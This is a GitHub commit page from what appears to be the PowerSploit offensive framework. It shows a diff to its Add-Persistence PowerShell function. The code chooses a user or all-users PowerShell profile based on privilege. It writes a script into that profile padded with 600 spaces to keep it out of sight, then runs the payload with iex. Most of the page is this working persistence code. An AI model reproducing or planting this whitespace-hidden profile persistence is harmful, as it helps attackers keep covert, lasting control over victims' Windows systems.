Skip to content

Commit ef37a13

Browse files
author
Matt Graeber
committed
Fixed Add-Persistence. Issue PowerShellMafia#98
1 parent 9a2dfad commit ef37a13

File tree

1 file changed

+2
-1
lines changed

1 file changed

+2
-1
lines changed

Persistence/Persistence.psm1

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -660,7 +660,8 @@ if(([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::G
660660
{$Prof=$PROFILE.AllUsersAllHosts;$Payload=ELEVATEDTRIGGER}
661661
else
662662
{$Prof=$PROFILE.CurrentUserAllHosts;$Payload=USERTRIGGER}
663-
' '*600+$Script.ToString()|Out-File $Prof -A -NoC -Fo
663+
mkdir (Split-Path -Parent $Prof)
664+
(gc $Prof) + (' ' * 600 + $Script)|Out-File $Prof -Fo
664665
iex $Payload|Out-Null
665666
Write-Output $Payload}
666667
else

0 commit comments

Comments
 (0)